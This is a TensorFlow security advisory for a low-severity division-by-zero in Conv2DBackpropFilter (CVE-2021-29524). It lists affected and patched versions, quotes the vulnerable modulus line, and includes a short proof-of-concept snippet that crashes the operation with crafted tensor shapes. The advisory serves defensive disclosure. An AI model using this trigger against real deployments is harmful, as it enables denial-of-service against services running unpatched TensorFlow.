Division by 0 in `Conv2DBackpropFilter`

Low **mihaimaruseac** published **GHSA-r4pj-74mg-8868** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:

```
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,
                                out_backprop=out_backprop,
                                strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,
                                padding='SAME', explicit_paddings=[],
                                data_format='NHWC', dilations=[1, 1, 1, 1])
```

This is because the implementation does a modulus operation where the divisor is controlled by the caller:

```
  if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }
```

Patches

We have patched the issue in GitHub commit fca9874a9b42a2134f907d2fb46ab774a831404a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29524

Weaknesses

No CWEs